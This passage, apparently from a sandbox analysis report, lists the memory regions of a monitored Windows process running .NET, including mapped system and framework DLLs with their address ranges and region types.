entry_point = 0x0 region_type = private name = "private_0x000007fe91eb0000" filename = "" Region: id = 681 start_va = 0x7fe91ec0000 end_va = 0x7fe91ecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91ec0000" filename = "" Region: id = 682 start_va = 0x7fe91ed0000 end_va = 0x7fe91f5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91ed0000" filename = "" Region: id = 683 start_va = 0x7fe91f60000 end_va = 0x7fe91fcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91f60000" filename = "" Region: id = 684 start_va = 0x1f0000 end_va = 0x1f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 685 start_va = 0x200000 end_va = 0x200fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 686 start_va = 0x960000 end_va = 0xa4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000960000" filename = "" Region: id = 687 start_va = 0xa50000 end_va = 0xc7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a50000" filename = "" Region: id = 688 start_va = 0xaa0000 end_va = 0xb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 689 start_va = 0xc00000 end_va = 0xc7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c00000" filename = "" Region: id = 690 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 691 start_va = 0x210000 end_va = 0x21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 692 start_va = 0x2890000 end_va = 0x1a88ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002890000" filename = "" Region: id = 693 start_va = 0xc80000 end_va = 0xffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c80000" filename = "" Region: id = 694 start_va = 0x1000000 end_va = 0x1100fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001000000" filename = "" Region: id = 695 start_va = 0x1260000 end_va = 0x135ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001260000" filename = "" Region: id = 696 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 697 start_va = 0x1110000 end_va = 0x120ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001110000" filename = "" Region: id = 698 start_va = 0x1a960000 end_va = 0x1aa5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a960000" filename = "" Region: id = 699 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 700 start_va = 0x1aa60000 end_va = 0x1ad2efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 701 start_va = 0x7feeff20000 end_va = 0x7fef151cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 702 start_va = 0x7feff810000 end_va = 0x7feffa12fff monitored = 0 entry_point = 0x7feff833330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 703 start_va = 0x420000 end_va = 0x49cfff monitored = 0 entry_point = 0x42cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 704 start_va = 0x420000 end_va = 0x49cfff monitored = 0 entry_point = 0x42cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 705 start_va = 0x7fefda20000 end_va = 0x7fefda2efff monitored = 0 entry_point = 0x7fefda21010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 706 start_va = 0x7fefc480000 end_va = 0x7fefc4d5fff monitored = 0 entry_point = 0x7fefc48bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 707 start_va = 0x1ad30000 end_va = 0x1af7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad30000" filename = "" Region: id = 708 start_va = 0x1ad30000 end_va = 0x1ae0efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ad30000" filename = "" Region: id = 709 start_va = 0x1af00000 end_va = 0x1af7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af00000" filename = "" Region: id = 710 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 711 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 712 start_va = 0x7fe91fd0000 end_va = 0x7fe9204ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91fd0000" filename = "" Region: id = 713 start_va = 0x7fe92050000 end_va = 0x7fe9205ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe92050000" filename = "" Region: id = 714 start_va = 0x7fe92060000 end_va = 0x7fe9206ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe92060000" filename = "" Region: id = 715 start_va = 0x7fef79f0000 end_va = 0x7fef79f2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 716 start_va = 0x7fef3d60000 end_va = 0x7fef3eaefff monitored = 1 entry_point = 0x7fef3d61090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 717 start_va = 0x210000 end_va = 0x21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 718 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 719 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 720 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 721 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 722 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 723 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 724 start_va = 0x1af80000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af80000" filename = "" Region: id = 725 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 726 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 727 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 728 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 729 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 730 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 731 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 732 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 733 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 734 start_va = 0x420000 end_va = 0x481fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscorrc.dll") Region: id = 735 start_va = 0xba0000 end_va = 0xbdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ba0000" filename = "" Region: id = 736 start_va = 0x1b200000 end_va = 0x1b2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b200000" filename = "" Region: id = 737 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 738 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 739 start_va = 0x1b440000 end_va = 0x1b53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b440000" filename = "" Region: id = 740 start_va = 0x7fefd420000 end_va = 0x7fefd437fff monitored = 0 entry_point = 0x7fefd423b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 741 start_va = 0x7ffffefe000 end_va = 0x7ffffefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefe000" filename = "" Region: id = 742 start_va = 0x6f0000 end_va = 0x734fff monitored = 0 entry_point = 0x6f1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 743 start_va = 0x6f0000 end_va = 0x734fff monitored = 0 entry_point = 0x6f1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 744 start_va = 0x6f0000 end_va = 0x734fff monitored = 0 entry_point = 0x6f1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 745 start_va = 0x6f0000 end_va = 0x734fff monitored = 0 entry_point = 0x6f1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 746 start_va = 0x6f0000 end_va = 0x734fff monitored = 0 entry_point = 0x6f1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 747 start_va = 0x7fefd120000 end_va = 0x7fefd166fff monitored = 0 entry_point = 0x7fefd121064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 748 start_va = 0x7fefdb10000 end_va = 0x7fefdb23fff monitored = 0 entry_point = 0x7fefdb110e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 749 start_va = 0x1b5d0000 end_va = 0x1b6cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b5d0000" filename = "" Region: id = 750 start_va = 0x7ffffefc000 end_va = 0x7ffffefdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefc000" filename = "" Region: id = 751 start_va = 0x1b760000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b760000" filename = "" Region: id = 752 start_va = 0x7ffffefa000 end_va = 0x7ffffefbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefa000" filename = "" Region: id = 753 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 754 start_va = 0x7feef2b0000 end_va = 0x7feeff1efff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\e43dd9c73ab5615e461bf5109c3facd6\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\e43dd9c73ab5615e461bf5109c3facd6\\system.ni.dll") Region: id = 755 start_va = 0x7fef3b60000 end_va = 0x7fef3d54fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\ece80f2e3752a779e894fd45d8f27e64\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\ece80f2e3752a779e894fd45d8f27e64\\system.drawing.ni.dll") Region: id = 756 start_va = 0x7feee200000 end_va = 0x7feef2a5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\b138f79dea860272ebe6694d9b73f656\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\b138f79dea860272ebe6694d9b73f656\\system.windows.forms.ni.dll") Region: id = 757 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 758 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 759 start_va = 0x7fef7990000 end_va = 0x7fef79a5fff monitored = 1 entry_point = 0x7fef799e5e0 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll") Region: id = 760 start_va = 0x1b860000 end_va = 0x1bb31fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sortdefault.nlp") Region: id = 761 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 762 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 763 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 764 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 765 start_va = 0x6f0000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006f0000" filename = "" Region: id = 766 start_va = 0x700000 end_va = 0x70ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 767 start_va = 0x710000 end_va = 0x71ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 768 start_va = 0x720000 end_va = 0x72ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000720000" filename = "" Region: id = 769 start_va = 0x730000 end_va = 0x73ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000730000" filename = "" Region: id = 770 start_va = 0x960000 end_va = 0x96ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000960000" filename = "" Region: id = 771 start_va = 0x9d0000 end_va = 0xa4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009d0000" filename = "" Region: id = 772 start_va = 0x970000 end_va = 0x97ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000970000" filename = "" Region: id = 773 start_va = 0x980000 end_va = 0x98ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000980000" filename = "" Region: id = 774 start_va = 0x990000 end_va = 0x99ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000990000" filename = "" Region: id = 775 start_va = 0x9a0000 end_va = 0x9affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009a0000" filename = "" Region: id = 776 start_va = 0x9b0000 end_va = 0x9bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009b0000" filename = "" Region: id = 777 start_va = 0x9c0000 end_va = 0x9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009c0000" filename = "" Region: id = 778 start_va = 0xa50000 end_va = 0xa5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a50000" filename = "" Region: id = 779 start_va = 0xa60000 end_va = 0xa6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a60000" filename = "" Region: id = 780 start_va = 0xa70000 end_va = 0xa7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a70000" filename = "" Region: id = 781 start_va = 0xa80000 end_va = 0xa8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a80000" filename = "" Region: id = 782 start_va = 0xa90000 end_va = 0xa9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a90000" filename = "" Region: id = 783 start_va = 0xbe0000 end_va = 0xbeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000be0000" filename = "" Region: id = 784 start_va = 0xbf0000 end_va = 0xbfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bf0000" filename = "" Region: id = 785 start_va = 0x1210000 end_va = 0x121ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001210000" filename = "" Region: id = 786 start_va = 0x1220000 end_va = 0x122ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001220000" filename = "" Region: id = 787 start_va = 0x1230000 end_va = 0x123ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001230000" filename = "" Region: id = 788 start_va = 0x1240000 end_va = 0x124ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001240000" filename = "" Region: id = 789 start_va = 0x1250000 end_va = 0x125ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001250000" filename = "" Region: id = 790 start_va = 0x1360000 end_va = 0x136ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001360000" filename = "" Region: id = 791 start_va = 0x1370000 end_va = 0x137ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001370000" filename = "" Region: id = 792 start_va = 0x1380000 end_va = 0x138ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001380000" filename = "" Region: id = 793 start_va = 0x1390000 end_va = 0x139ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001390000" filename = "" Region: id = 794 start_va = 0x13a0000 end_va = 0x13affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000013a0000" filename = "" Region: id = 795 start_va = 0x1a890000 end_va = 0x1a89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a890000" filename = "" Region: id = 796 start_va = 0x1a8a0000 end_va = 0x1a8affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a8a0000" filename = "" Region: id = 797 start_va = 0x1a8b0000 end_va = 0x1a8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a8b0000" filename = "" Region: id = 798 start_va = 0x1a8c0000 end_va = 0x1a8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a8c0000" filename = "" Region: id = 799 start_va = 0x1a8d0000 end_va = 0x1a8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a8d0000" filename = "" Region: id = 800 start_va = 0x1a8e0000 end_va = 0x1a8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a8e0000" filename = "" Region: id = 801 start_va = 0x1a8f0000 end_va = 0x1a8fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a8f0000" filename = "" Region: id = 802 start_va = 0x1a900000 end_va = 0x1a90ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a900000" filename = "" Region: id = 803 start_va = 0x1bc90000 end_va = 0x1bd8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bc90000" filename = "" Region: id = 804 start_va = 0x7ffffef8000 end_va = 0x7ffffef9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef8000" filename = "" Region: id = 805 start_va = 0x7fe92070000 end_va = 0x7fe9207ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe92070000" filename = "" Region: id = 806 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 807 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 808 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 809 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 810 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 811 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 812 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 813 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 814 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 815 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 816 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 817 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 818 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 819 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 820 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 821 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 822 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 823 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 824 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 825 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 826 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 827 start_va = 0x6f0000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006f0000" filename = "" Region: id = 828 start_va = 0x700000 end_va = 0x70ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 829 start_va = 0x710000 end_va = 0x71ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 830 start_va = 0x720000 end_va = 0x72ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000720000" filename = "" Region: id = 831 start_va = 0x730000 end_va = 0x73ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000730000" filename = "" Region: id = 832 start_va = 0x960000 end_va = 0x96ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000960000" filename = "" Region: id = 833 start_va = 0x970000 end_va = 0x97ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000970000" filename = "" Region: id = 834 start_va = 0x980000 end_va = 0x98ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000980000" filename = "" Region: id = 835 start_va = 0x990000 end_va = 0x99ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000990000" filename = "" Region: id = 836 start_va = 0x9a0000 end_va = 0x9affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009a0000" filename = "" Region: id = 837 start_va = 0x9b0000 end_va = 0x9bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009b0000" filename = "" Region: id = 838 start_va = 0x9c0000 end_va = 0x9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009c0000" filename = "" Region: id = 839 start_va = 0xa50000 end_va = 0xa5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a50000" filename = "" Region: id = 840 start_va = 0xa60000 end_va = 0xa6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a60000" filename = "" Region: id = 841 start_va = 0xa70000 end_va = 0xa7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a70000" filename = "" Region: id = 842 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 843 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 844 start_va = 0x7fe92080000 end_va = 0x7fe9208ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe92080000" filename = "" Region: id = 845 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 846 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 847 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 848 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 849 start_va = 0x6f0000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006f0000" filename = "" Region: id = 850 start_va = 0x700000 end_va = 0x70ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 851 start_va = 0x710000 end_va = 0x71ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 852 start_va = 0x720000 end_va = 0x72ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000720000" filename = "" Region: id = 853 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 854 start_va = 0x960000 end_va = 0x99ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000960000" filename = "" Region: id = 855 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 856 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 857 start_va = 0x7feed780000 end_va = 0x7feee1f4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.core.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Core\\0d59b0e237d7519417de10cd84bda4e7\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.core\\0d59b0e237d7519417de10cd84bda4e7\\system.core.ni.dll") Region: id = 858 start_va = 0x7fef3a20000 end_va = 0x7fef3b52fff monitored = 1 entry_point = 0x0 